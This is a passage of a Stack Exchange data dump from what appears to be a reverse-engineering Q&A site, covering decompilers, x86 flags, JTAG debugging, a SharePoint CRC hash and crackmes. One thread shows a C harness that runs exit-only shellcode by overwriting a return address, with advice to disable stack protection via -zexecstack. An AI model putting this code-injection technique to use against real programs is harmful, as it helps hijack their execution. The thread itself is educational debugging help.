  <row Id="20832" PostTypeId="2" ParentId="20821" CreationDate="2019-03-10T00:02:56.890" Score="1" Body="&lt;p&gt;You should probably check the dynamic linker source code to be sure but I suspect that &lt;code&gt;DT_DEBUG&lt;/code&gt; is only filled for the main binary and not the additional modules. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-03-10T00:02:56.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20833" PostTypeId="2" ParentId="20829" CreationDate="2019-03-10T01:46:46.533" Score="0" Body="&lt;p&gt;It looks like it's a raw byte dump of an arch-specific thread_state structure (e.g. for &lt;a href=&quot;https://github.com/radare/radare2/blob/80aa8b5103d835e7bdfc4d1afcf52c9ebc3b68f0/libr/bin/format/mach0/mach0_specs.h#L25-L42&quot; rel=&quot;nofollow noreferrer&quot;&gt;32bit x86&lt;/a&gt;). See &lt;a href=&quot;https://github.com/radare/radare2/blob/80aa8b5103d835e7bdfc4d1afcf52c9ebc3b68f0/libr/bin/format/mach0/mach0.c#L976-L984&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for where the dump happens.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-03-10T01:46:46.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20834" PostTypeId="2" ParentId="20823" CreationDate="2019-03-10T02:27:19.890" Score="1" Body="&lt;p&gt;It's part of the authentication protocol in the D-Bus spec:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The protocol is a line-based protocol, where each line ends with \r\n. Each line begins with an all-caps ASCII command name containing only the character range [A-Z_], a space, then any arguments for the command, then the \r\n ending the line.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://dbus.freedesktop.org/doc/dbus-specification.html#auth-protocol-overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-03-10T02:27:19.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20835" PostTypeId="1" CreationDate="2019-03-10T03:54:26.173" Score="1" ViewCount="559" Body="&lt;p&gt;I'm trying to decompile the LUCs (customly extensioned LUAs) from both of the games but they won't decompile, they aren't encrypted and use LUA version 5.0.2 (32-bit) according to the game's code. They are headered LuaV with extra bytes of some sort. Anyone willing to help me decompile these files? If so thanks so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://zenhax.com/download/file.php?id=6262&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://zenhax.com/download/file.php?id=6262&lt;/a&gt; (Vol 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://zenhax.com/download/file.php?id=6251&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://zenhax.com/download/file.php?id=6251&lt;/a&gt; (Vol 2)&lt;/p&gt;&#xA;" OwnerUserId="26767" LastEditorUserId="26767" LastEditDate="2019-09-01T02:36:13.030" LastActivityDate="2019-09-01T02:36:13.030" Title="How to decompile these LUAs from the Bookworm Adventures games?" Tags="|decompilation|lua|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20836" PostTypeId="2" ParentId="20828" CreationDate="2019-03-10T04:29:07.397" Score="7" Body="&lt;p&gt;You can configure the timeout in decompiler options. Go to Edit-&gt;Tool Options...-&gt;Decompiler and change &quot;Decompiler Timeout (seconds)&quot; to the desired value.&lt;/p&gt;&#xA;" OwnerUserId="27751" LastActivityDate="2019-03-10T04:29:07.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20837" PostTypeId="2" ParentId="20810" CreationDate="2019-03-10T04:42:41.240" Score="4" Body="&lt;p&gt;To get rid of these references, you need to disable the &quot;Basic Constant Reference Analyzer&quot; located in the Analysis Options (Analysis -&gt; Auto Analyze ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, select your code and clear it (C hotkey by default) and then disassemble again.&lt;/p&gt;&#xA;" OwnerUserId="27751" LastActivityDate="2019-03-10T04:42:41.240" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20838" PostTypeId="1" AcceptedAnswerId="20897" CreationDate="2019-03-10T08:09:58.910" Score="6" ViewCount="20940" Body="&lt;p&gt;I am trying to figure out the behavior of conditional jumps (JE/JNE, JZ/JNZ) in the x86 instruction set familly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which condition flags &lt;code&gt;CMP&lt;/code&gt; instruction sets and &lt;strong&gt;how&lt;/strong&gt;, if the result is equal and if it is not? For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;CMP eax, 0&lt;/code&gt; (true)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;CMP eax, 0&lt;/code&gt; (false)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27301" LastEditorUserId="53" LastEditDate="2019-03-10T09:47:27.560" LastActivityDate="2019-03-23T18:42:29.523" Title="How the CMP instruction uses condition flags?" Tags="|assembly|x86|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20839" PostTypeId="2" ParentId="20838" CreationDate="2019-03-10T09:47:39.367" Score="4" Body="&lt;p&gt;The &lt;code&gt;CMP&lt;/code&gt; instruction does internally a &lt;code&gt;SUB&lt;/code&gt; and sets the flags accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all flags that are set by a &lt;code&gt;SUB&lt;/code&gt; are also set by &lt;code&gt;CMP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely the flags &lt;code&gt;SF&lt;/code&gt;, &lt;code&gt;ZF&lt;/code&gt;, &lt;code&gt;AF&lt;/code&gt;, &lt;code&gt;PF&lt;/code&gt;, and &lt;code&gt;CF&lt;/code&gt; are set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information is taken from the Intel manual for the processors (&lt;a href=&quot;https://software.intel.com/en-us/articles/intel-sdm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://software.intel.com/en-us/articles/intel-sdm&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1490" LastEditorUserId="1490" LastEditDate="2019-03-10T09:57:38.270" LastActivityDate="2019-03-10T09:57:38.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20841" PostTypeId="1" CreationDate="2019-03-10T11:03:33.080" Score="1" ViewCount="460" Body="&lt;p&gt;I would like to decompile a 32-bit Linux executable to C, modify some parts of it, and then compile it back. I do not care if the C code is not pretty and really hard to maintain. The only thing I care is to be able to compile it back to a 32-bit executable.&lt;/p&gt;&#xA;&lt;p&gt;The program was written in C++ around 2006, but the source code was lost since then. It is not a small program, and it uses some dynamically linked libraries as well.&lt;/p&gt;&#xA;&lt;p&gt;I tried &lt;a href=&quot;http://boomerang.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boomerang&lt;/a&gt; and &lt;a href=&quot;https://github.com/avast/retdec&quot; rel=&quot;nofollow noreferrer&quot;&gt;Avast RetDec&lt;/a&gt;. None of them is able to provide a compilable result, but the one RetDec provides, is sometimes surprisingly readable. Unfortunately, I can not use this output to rewrite the project, because the code is really long. That is why I am looking for a way to produce compilable C code in the first place.&lt;/p&gt;&#xA;" OwnerUserId="16846" LastEditorUserId="37138" LastEditDate="2021-11-12T19:33:25.967" LastActivityDate="2021-11-12T19:33:25.967" Title="Is there any decompiler, which can produce a compilable result?" Tags="|decompilation|c|decompile|compilers|decompiler|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20842" PostTypeId="1" CreationDate="2019-03-10T12:56:04.800" Score="1" ViewCount="239" Body="&lt;p&gt;What should I do if I have a batch of binaries to decompile with Hopper? &#xA;I know how to run a Hopper script in the UI interface, is there any way to run Hopper scripts from command line? Or any other way to decompile a lot of files easily?&lt;/p&gt;&#xA;" OwnerUserId="27754" LastEditorUserId="27758" LastEditDate="2019-03-11T19:43:38.150" LastActivityDate="2019-10-30T10:24:46.890" Title="Is there any way to execute Hopper scripts from command line?" Tags="|decompilation|hopper|script|command-line|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20843" PostTypeId="1" AcceptedAnswerId="20844" CreationDate="2019-03-10T19:22:45.640" Score="0" ViewCount="153" Body="&lt;p&gt;I wrote a very basic crackme to learn how assembly works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though I wrote it myself, I am having some trouble understanding a few pieces of the assembly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZAZZD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZAZZD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I know up to now is: &lt;code&gt;[rbp+rax+input_buffer]&lt;/code&gt; is basically &lt;code&gt;input_buffer[rax]&lt;/code&gt;, xor'ing two of the same registers resets them and that's about it (apart from the very basic stuff like add, mov, inc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I specifically don't understand what &lt;code&gt;movsx ..&lt;/code&gt; and &lt;code&gt;add ecx, 0FFF..&lt;/code&gt; is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;The input_buffer is filled with &lt;code&gt;_fgets&lt;/code&gt;. I'm intentionally not saying a working input to see if you can figure it out (it shouldn't be hard anyways).&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A proper input would be &lt;code&gt;0123456789\n&lt;/code&gt;, note that I discard the newline via &lt;code&gt;strcspn&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26890" LastEditorUserId="26890" LastEditDate="2019-03-10T20:57:28.933" LastActivityDate="2019-03-10T22:01:49.253" Title="What is this assembly doing?" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20844" PostTypeId="2" ParentId="20843" CreationDate="2019-03-10T22:01:49.253" Score="3" Body="&lt;p&gt;I guess the original code is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char input_buffer[...];&#xA;// ...&#xA;int c = input_buffer[i];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the variable &lt;code&gt;c&lt;/code&gt; is a &lt;code&gt;int&lt;/code&gt; and &lt;code&gt;input_buffer&lt;/code&gt; is a &lt;code&gt;char[]&lt;/code&gt;, your compiler has to promote the read &lt;code&gt;char&lt;/code&gt; as a &lt;code&gt;int&lt;/code&gt;. That's why you have the &lt;code&gt;movsx&lt;/code&gt; instruction. It will read the current character and sign extend it, so it'll fit to a &lt;code&gt;int&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the &lt;code&gt;add&lt;/code&gt;, it's common for a compiler to encode a &lt;code&gt;sub dst, imm&lt;/code&gt; as &lt;code&gt;add dst, -imm&lt;/code&gt;, if you negate &lt;code&gt;0xffffffd0&lt;/code&gt; (SHIFT - in IDA), you'll obtain &lt;code&gt;-0x30&lt;/code&gt;. This is how you convert the ASCII digit into a integer.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-03-10T22:01:49.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20846" PostTypeId="1" CreationDate="2019-03-11T03:01:42.110" Score="0" ViewCount="844" Body="&lt;p&gt;I have a chip I am trying to use JTAG communications with using openOCD. However, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openocd -f ocd.cfg &#xA;Open On-Chip Debugger 0.10.0&#xA;Licensed under GNU GPL v2&#xA;For bug reports, read&#xA;    http://openocd.org/doc/doxygen/bugs.html&#xA;Warn : Adapter driver 'buspirate' did not declare which transports it allows; assuming legacy JTAG-only&#xA;Info : only one transport option; autoselect 'jtag'&#xA;srst_only separate srst_gates_jtag srst_open_drain connect_deassert_srst&#xA;Info : Buspirate Interface ready!&#xA;Info : This adapter doesn't support configurable speed&#xA;Warn : There are no enabled taps.  AUTO PROBING MIGHT NOT WORK!!&#xA;Info : TAP auto0.tap does not have IDCODE&#xA;Warn : AUTO auto0.tap - use &quot;jtag newtap auto0 tap -irlen 2 -expected-id 0x00000000&quot;&#xA;Error: auto0.tap: IR capture error; saw 0x0002 not 0x0001&#xA;Warn : Bypassing JTAG setup events due to errors&#xA;Warn : gdb services need one or more targets defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect this is due to a poor connection somewhere, but I don't know which lead to suspect. How should I go about debugging this issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear I am asking this from the perspective of OpenOCD software, not my hardware: &#xA;&lt;strong&gt;Why does it expect 0x0001? Can I configure it to expect 0x0002?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why is it giving up after these two errors?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record I am using this config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;source [find interface/buspirate.cfg]&#xA;&#xA;&#xA;buspirate_vreg 0&#xA;buspirate_mode open-drain&#xA;buspirate_pullup 1&#xA;&#xA;buspirate_port /dev/tty.usbserial-A90809RC&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As my chip is not includes in the /boards directory, I could include a board from there using the source directive. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2019-03-11T03:01:42.110" Title="OPENOCD Error codes: How do I fix this?" Tags="|debugging|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20847" PostTypeId="1" CreationDate="2019-03-11T11:54:07.487" Score="0" ViewCount="118" Body="&lt;p&gt;I'm trying to reverse engineer a hash algorithm used by SharePoint 2016 in MSSCrawlUrl database table. I would like to avoid discussions about the idea itself (which I agree goes against SharePoint best practices), the answer is one word: legacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, that database table contains some URLs and their hashes. SharePoint somehow calculates a hash from values in AccessUrl column (which contains URLs), and puts the result into AccessHash column. The calculation is done by unmanaged (i.e. non-.Net) code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I was able to figure out the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;AccessHash column definitely contains a CRC-32. In particular, the function is affine, i.e.&#xA;hash(a ^ b ^ c) = hash(a) ^ hash(b) ^ hash(c)&#xA;where ^ means XOR&lt;/li&gt;&#xA;&lt;li&gt;I could find a generating polynomial for the hash function (or I believe I could): 0x82608EDB. I used a technique outlined in this article: &lt;a href=&quot;http://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After that I applied some brute force but couldn't figure out other algorithm parameters. The problem is a little bit more complicated because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I don’t know the actual encoding that SharePoint uses when it computes hashes. I tried several in my brute force code, but I'm not sure if I'm missing something.&lt;/li&gt;&#xA;&lt;li&gt;I don't have full control over the sample data, because a source string must be a valid URL (otherwise, SharePoint won't calculate a hash from it).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here are some examples of URLs and their hashes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AccessURL       AccessHash&#xA;http://a0       2141537348&#xA;http://a1      -1380154216&#xA;http://a2       -547891125&#xA;http://a4        981557741&#xA;http://a8       -169013482&#xA;http://aq       -319117100&#xA;http://aa        -55893049&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More examples can be found in this file: &lt;a href=&quot;https://bitbucket.org/johnnyjob/spreveng/src/master/CrcHack/Program.cs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitbucket.org/johnnyjob/spreveng/src/master/CrcHack/Program.cs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code which performs a brute force can be found here: &lt;a href=&quot;https://bitbucket.org/johnnyjob/spreveng/src/master/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitbucket.org/johnnyjob/spreveng/src/master/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm open to any ideas, thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="27634" LastActivityDate="2019-03-11T11:54:07.487" Title="Reverse engineer SharePoint hash algorithm" Tags="|crc|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="20850" PostTypeId="1" CreationDate="2019-03-11T22:15:10.203" Score="1" ViewCount="168" Body="&lt;p&gt;I am working on a crackme (Mach-O, mac app).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the app itself is weird and I honestly don't really know where to start. There are multiple threads and the main function doesn't really tell me where the serial verification is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of going through main, I went through &lt;code&gt;_objc_msgSend&lt;/code&gt; and found some interesting functions that print the usual 'you win/you lose'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I check the reference of those, I end up here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; Segment type: Pure data&#xA;000062F4 __inst_meth segment dword public 'DATA' use32&#xA;000062F4 assume cs:__inst_meth&#xA;000062F4 ;org 62F4h&#xA;000062F4 stru_62F4 __objc_method_list &amp;lt;0, 0Eh&amp;gt;   ; DATA XREF: __class:stru_60C4↑o&#xA;000062FC __objc_method &amp;lt;offset sel_dealloc, offset aV804, \ ; -[MCAppDelegate dealloc] ...&#xA;000062FC                offset __MCAppDelegate_dealloc_&amp;gt;&#xA;00006308 __objc_method &amp;lt;offset sel_succeed, offset aV804, \ ; -[MCAppDelegate succeed] ...&#xA;00006308                offset __MCAppDelegate_succeed_&amp;gt;&#xA;00006314 __objc_method &amp;lt;offset sel_crackDetected, offset aV804, \ ; -[MCAppDelegate crackDetected] ...&#xA;00006314                offset __MCAppDelegate_crackDetected_&amp;gt;&#xA;00006320 __objc_method &amp;lt;offset sel_fail, offset aV804, \ ; -[MCAppDelegate fail] ...&#xA;00006320                offset __MCAppDelegate_fail_&amp;gt;&#xA;0000632C __objc_method &amp;lt;offset sel_a, offset aV804, offset __MCAppDelegate_a_&amp;gt; ; -[MCAppDelegate a] ...&#xA;00006338 __objc_method &amp;lt;offset sel_b, offset aV804, offset __MCAppDelegate_b_&amp;gt; ; -[MCAppDelegate b] ...&#xA;00006344 __objc_method &amp;lt;offset sel_c, offset aV804, offset __MCAppDelegate_c_&amp;gt; ; -[MCAppDelegate c] ...&#xA;00006350 __objc_method &amp;lt;offset sel_d, offset aV804, offset __MCAppDelegate_d_&amp;gt; ; -[MCAppDelegate d] ...&#xA;0000635C __objc_method &amp;lt;offset sel_e, offset aV804, offset __MCAppDelegate_e_&amp;gt; ; -[MCAppDelegate e] ...&#xA;00006368 __objc_method &amp;lt;offset sel_f, offset aV804, offset __MCAppDelegate_f_&amp;gt; ; -[MCAppDelegate f] ...&#xA;00006374 __objc_method &amp;lt;offset sel_mk, offset aV804, \ ; -[MCAppDelegate mk] ...&#xA;00006374                offset __MCAppDelegate_mk_&amp;gt;&#xA;00006380 __objc_method &amp;lt;offset sel_applicationDidFinishLaunching_, \ ; -[MCAppDelegate applicationDidFinishLaunching:] ...&#xA;00006380                offset aV12048, \&#xA;00006380                offset __MCAppDelegate_applicationDidFinishLaunching__&amp;gt;&#xA;0000638C __objc_method &amp;lt;offset sel_window, offset a804_0, \ ; -[MCAppDelegate window] ...&#xA;0000638C                offset __MCAppDelegate_window_&amp;gt;&#xA;00006398 __objc_method &amp;lt;offset sel_setWindow_, offset aV12048, \ ; -[MCAppDelegate setWindow:] ...&#xA;00006398                offset __MCAppDelegate_setWindow__&amp;gt;&#xA;00006398 __inst_meth ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, unfortunately this doesn't lead me anywhere. I checked the references and found nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this failed attempt, I tried to trace functions via IDA with the local MacOS debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing first, it throws this error just after starting the process:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unexpected dyld_opcode in the debugger server (init_dyld): 5ffb&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I found absolutely no info about this, so I just ignored it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I started the function tracing and got this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;got SIGBUS signal (bus error) (exc.code a, tid 24571)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, keep in mind that this is my first 'real' crackme. Everything that I did before was just a command line application, so it was much more straightforward than this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not even sure if 'function tracing' is what I think it is. I was hoping for some kind of function call hierarchy where I could find what exactly called the 'fail' function.&lt;/p&gt;&#xA;" OwnerUserId="26890" LastActivityDate="2019-03-11T22:15:10.203" Title="SIGBUS when trying to trace functions?" Tags="|ida|assembly|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20851" PostTypeId="1" AcceptedAnswerId="20854" CreationDate="2019-03-12T02:22:22.187" Score="0" ViewCount="667" Body="&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    char shellcode[] = &quot;\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80&quot;;&#xA;&#xA;    int *ret;&#xA;    ret = (int *)&amp;amp;ret + 2;&#xA;    (*ret) = (int)shellcode;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to run the above shellcode but got a segmentation fault.&#xA;Then, I tried putting the shellcode inside the main and it worked, why? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I do &lt;code&gt;strace&lt;/code&gt; to the binary to check the syscall, it shows that &lt;code&gt;exit_group()&lt;/code&gt; syscall is called but the shell code is for &lt;code&gt;exit()&lt;/code&gt; syscall. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/diHRl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/diHRl.png&quot; alt=&quot;screenshot of strace&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27714" LastEditorUserId="53" LastEditDate="2019-03-12T19:08:53.390" LastActivityDate="2019-10-05T09:15:50.297" Title="exit() syscall within shellcode not working" Tags="|assembly|shellcode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20852" PostTypeId="2" ParentId="17346" CreationDate="2019-03-12T07:52:54.103" Score="1" Body="&lt;p&gt;&lt;strong&gt;Addend&lt;/strong&gt; is simply &quot;a number to be added to another&quot;, &lt;a href=&quot;https://www.merriam-webster.com/dictionary/addend&quot; rel=&quot;nofollow noreferrer&quot;&gt;according to Merian Webster&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27758" LastActivityDate="2019-03-12T07:52:54.103" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20853" PostTypeId="1" AcceptedAnswerId="20875" CreationDate="2019-03-12T08:25:42.113" Score="3" ViewCount="760" Body="&lt;p&gt;Is there a way to get all ordinals of the local types view with the ida python api?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have tried to get all ordinals for structs with: &lt;code&gt;[ida_struct.get_struc(id).ordinal for _, id, _ in Structs()]&lt;/code&gt;. This also works for enums if you replace Structs() with Enums() but this is not complete. Some structs are just in the local types view and i dont know how to get this ordinals. &lt;/p&gt;&#xA;" OwnerUserId="27505" LastEditorUserId="27505" LastEditDate="2019-03-22T10:56:05.760" LastActivityDate="2019-05-06T13:20:52.703" Title="Get all ordinals from local types view" Tags="|ida|idapython|" AnswerCount="1" CommentCount="3" ClosedDate="2019-03-17T19:38:33.283" ContentLicense="CC BY-SA 4.0" />
  <row Id="20854" PostTypeId="2" ParentId="20851" CreationDate="2019-03-12T08:31:48.233" Score="0" Body="&lt;p&gt;First of all, the opcodes that you are pointing are not responsible for the syscall. If you disassemble your shellcode, you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000004028 &amp;lt;shellcode&amp;gt;:&#xA;    4028:   bb 00 00 00 00          mov    $0x0,%ebx&#xA;    402d:   b8 01 00 00 00          mov    $0x1,%eax&#xA;    4032:   cd 80                   int    $0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A first &lt;code&gt;mov&lt;/code&gt; to set &lt;code&gt;ebx&lt;/code&gt; to zero (the return code), then a second &lt;code&gt;mov&lt;/code&gt; to set &lt;code&gt;eax&lt;/code&gt; to the id of the &lt;code&gt;exit&lt;/code&gt; syscall, and finally it trigger the system call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, this shellcode is obviously designed for a 32-bit architecture. And, you have to know that the syscall numbers are different between i386 and amd64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my recommendation would be that you compile your program with the option &lt;code&gt;-m32&lt;/code&gt; to ensure that you have a full 32-bit program (and not a mix between 64-bit and 32-bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, you need to be sure that you compile with &lt;code&gt;-zexecstack&lt;/code&gt; in order to be able to execute the code in case it is stored on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there is no evidence that getting &lt;code&gt;ret + 2&lt;/code&gt; will set your pointer in front of the saved &lt;code&gt;eip&lt;/code&gt;. You'd better write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    char shellcode[] = &quot;\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80&quot;;&#xA;&#xA;    (*(void(*)()) shellcode)();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2019-03-12T19:34:32.693" LastActivityDate="2019-03-12T19:34:32.693" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="20855" PostTypeId="1" AcceptedAnswerId="20858" CreationDate="2019-03-12T08:50:07.527" Score="2" ViewCount="1637" Body="&lt;p&gt;I recently downloaded Ghidra (&lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;) ver 9 on windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decompiler feature is presumable found at &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;GHIDRA_HOME&amp;gt;\Ghidra\Features\Decompiler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a lib folder containing the Java code. Then there is an os folder containing binaries for 3 different platforms (win, mac and linux) around 2.4 - 2.9 MB each per platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This makes Ghidra not truly portable. If there is a reason to do this, then why not use JNI/JNA instead? Why take the dirty route of launching an executable?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the decompiler open source but written in native code? Can you point out the source codes location for such? If its not provided then can we say its truly open source (read backdoors!) If the decompiler's job is just to spit out pseudo-c code from the dissembly, then 2+ MB is an overkill for such a component, assuming a low-level language like C/C++ is used to write it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9782" LastEditorUserId="9782" LastEditDate="2019-03-12T08:55:08.153" LastActivityDate="2020-12-02T19:59:21.397" Title="NSA Ghidra 9 - Is the decompiler open source?" Tags="|disassemblers|decompiler|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20858" PostTypeId="2" ParentId="20855" CreationDate="2019-03-12T16:09:03.763" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I guess that the &lt;em&gt;debugger part&lt;/em&gt; of the IDE needed to be close to the system at some point in order to trigger a &lt;code&gt;ptrace()&lt;/code&gt; call or equivalent in other systems. So, these binary libraries are perfectly legitimate to me (there is probably no other way around, I think in my humble opinion).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It will be Open Source with an &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/master/LICENSE&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apache 2.0 License&lt;/a&gt;. But, the code is still being reworked at NSA before being published (at least, this is what they say on their &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub 